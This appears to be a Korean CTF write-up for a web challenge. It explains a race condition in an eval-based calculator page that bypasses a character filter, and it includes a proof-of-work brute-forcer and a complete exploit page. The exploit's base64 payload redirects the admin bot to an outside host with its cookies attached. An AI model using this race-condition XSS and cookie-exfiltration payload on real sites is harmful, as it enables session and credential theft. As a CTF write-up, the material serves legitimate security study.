
문제에 접근한 모습은 위와 같으며 Register, Login 과정 후엔 calc 페이지와 report 페이지에 접근 가능하다.

calc 페이지에선 사용자의 입력을 받아 그대로 내부에서 연산 후, 출력을 보여주고 있으며 해당 부분에서의 코드는 아래와 같다.
<!-- /html/api/calculate.php -->
<script>
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
window.onhashchange = async ()=>{
let code = atob(location.hash.slice(1));
window.isDebug = (await fetch("/api/debug.php").then((response)=>{
return response.json();
}).then((data)=>{
return Number(data.isDebug);
}));
if(window.isDebug) {
let result = eval(atob(location.hash.slice(1)));
window.parent.postMessage({result: result, hacker: 0},"*");
} else if(localStorage.getItem(code)) {
let result = localStorage.getItem(code);
window.parent.postMessage({result: result, hacker: 0},"*");
localStorage.removeItem(code);
} else {
if(/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(code)){
alert("Are you hacker??");
window.parent.postMessage({result: null, hacker: 1},"*");
return;
} else {
let result = eval(atob(location.hash.slice(1)))
localStorage.setItem(code, result);
window.parent.postMessage({result: result, hacker: 0},"*");
}
}
}
</script>
사용자의 입력을 계산하기 위해 eval() 함수를 사용하고 있는데, 접근한 계정이 어드민 계정이 아닐 경우 RCE를 예방하기 위해 문제에선 필터링으로 사용자의 입력을 검증하고 있는 것을 확인 가능하다.

// /bot/bot.js
page.setCookie({
"name": "FLAG",
"value": flag,
"domain": "web",
"path": "/",
"httpOnly": false,
"sameSite": "Strict"
})
report 페이지에선 url과 pow를 입력해 제출하면 pow 검증 과정 후 bot이 해당 url로 방문한다. 이 bot의 cookie엔 flag가 저장되어 있으며 httpOnly 속성이 false로 저장되어 있기 때문에 XSS를 트리거하면 flag를 얻는 것이 가능하다.
다만 bot은 guest 계정으로 접근하기에 eval 함수를 실행 시키려면 필터링을 우회해야 했다.
또한 pow 코드는 위 report 페이지에서 제공되는 문자열과 더해져 sha256 해시될 때 28자리 0으로 될 시 조건을 만족하게 된다. 이를 추측하기란 불가능하기에 아래 코드를 통해 브루트포싱으로 계산 해주어야 한다.
// pow_solver.cpp
// $ apt install openssl libssl-dev
// $ g++ pow_solver.cpp -fopenmp -I/usr/include -L/usr/lib -lcrypto -o pow_solver
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>
#include <stdint.h>
#include <omp.h>
void SHA256_Digest(const char* str, size_t length, unsigned char outputBuffer[SHA256_DIGEST_LENGTH])
{
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, str, length);
SHA256_Final(outputBuffer, &sha256);
}
int main()
{
const char prefix[] = "[ 초기 문자열 ]";
int start = strlen(prefix);
long number_of_processors = sysconf(_SC_NPROCESSORS_ONLN);
printf("worker : %u\n", number_of_processors);
omp_set_num_threads(number_of_processors);
#pragma omp parallel
{
char s[256];
memcpy(s, prefix, start);
#pragma omp for collapse(9)
for(int i0='0'; i0<='9'; i0++)
for(int i1='0'; i1<='9'; i1++)
for(int i2='0'; i2<='9'; i2++)
for(int i3='0'; i3<='9'; i3++)
for(int i4='0'; i4<='9'; i4++)
for(int i5='0'; i5<='9'; i5++)
for(int i6='0'; i6<='9'; i6++)
for(int i7='0'; i7<='9'; i7++)
for(int i8='0'; i8<='9'; i8++)
{
s[start] = i0;
s[start+1] = i1;
s[start+2] = i2;
s[start+3] = i3;
s[start+4] = i4;
s[start+5] = i5;
s[start+6] = i6;
s[start+7] = i7;
s[start+8] = i8;
s[start+9] = 0;
unsigned char hash[SHA256_DIGEST_LENGTH];
SHA256_Digest(s, start+9, hash);
if(memcmp(hash, "\x00\x00\x00", 3)==0)
{
if( (hash[3]>>4) == 0)
{
printf("%s\n", s);
}
}
}
}
return 0;
}
이제 pow를 구할 수 있어 XSS를 발생 시키는 것이 가능하다면 bot의 쿠키에 있는 flag를 얻어내는 것이 가능하다.
이때 이전에 살펴봤던 /html/api/calculate.php에 XSS를 트리거 가능한 race condition 취약점이 존재하게 된다.
<!-- /html/api/calculate.php -->
<script>
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
window.onhashchange = async ()=>{
// 현재 전달된 hash 뒤 문자열을 검증 대상으로 설정
let code = atob(location.hash.slice(1));
window.isDebug = (await fetch("/api/debug.php").then((response)=>{
return response.json();
}).then((data)=>{
return Number(data.isDebug);
}));
if(window.isDebug) {
let result = eval(atob(location.hash.slice(1)));
window.parent.postMessage({result: result, hacker: 0},"*");
} else if(localStorage.getItem(code)) {
let result = localStorage.getItem(code);
window.parent.postMessage({result: result, hacker: 0},"*");
localStorage.removeItem(code);
} else {
if(/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(code)){
alert("Are you hacker??");
window.parent.postMessage({result: null, hacker: 1},"*");
return;
} else {
// 이후 다시 hash 뒤 문자열을 받아오면서 race condition 취약점 발생
let result = eval(atob(location.hash.slice(1)))
localStorage.setItem(code, result);
window.parent.postMessage({result: result, hacker: 0},"*");
}
}
}
</script>
따라서 아래의 코드로 웹 페이지를 만들어 url을 pow와 같이 보내게 되면 document.location="http://[ url ]/?cookie="+document.cookie 코드가 eval 함수에서 실행되어 bot 내의 flag가 로그에 출력되게 된다.
<!-- python3 -m http.server 80 -->
<!DOCTYPE html>
<html>
<head>
<title>Modify Location Hash</title>
<script>
function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
host = "web"
async function benign(win) {
win.location = "http://" + host + "/api/calculate.php#mSsx";
}
async function evil(win) {
win.location = "http://" + host + "/api/calculate.php#ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9wMy55dC8/cHBwPSIrZG9jdW1lbnQuY29va2ll";
}
async function modifyLocationHash() {
// Open the website
var url = "http://" + host + "/api/calculate.php"
var win = window.open(url);
await sleep(1000);
// Modify the location.hash
for (let i = 0; i < 10000; i++) {
benign(win);
await sleep(2);
evil(win);
await sleep(2);
}
}
</script>
</head>
<body onload="modifyLocationHash()">
<h1>Modify Location Hash Example</h1>
</body>
</html>
'CTF' 카테고리의 다른 글
| [CodeGate 2023] AI (0) | 2025.03.21 |
|---|---|
| [CodeGate 2023] CODEGATE Music Player (0) | 2025.03.21 |
| [ISITDTU CTF] Another one Write-Up (0) | 2025.02.27 |
| [hkcert] Custom-Web-Server(1) Write Up (0) | 2025.02.27 |
| [hkcert] Mystiz's Mini CTF (2) Write Up (0) | 2025.02.27 |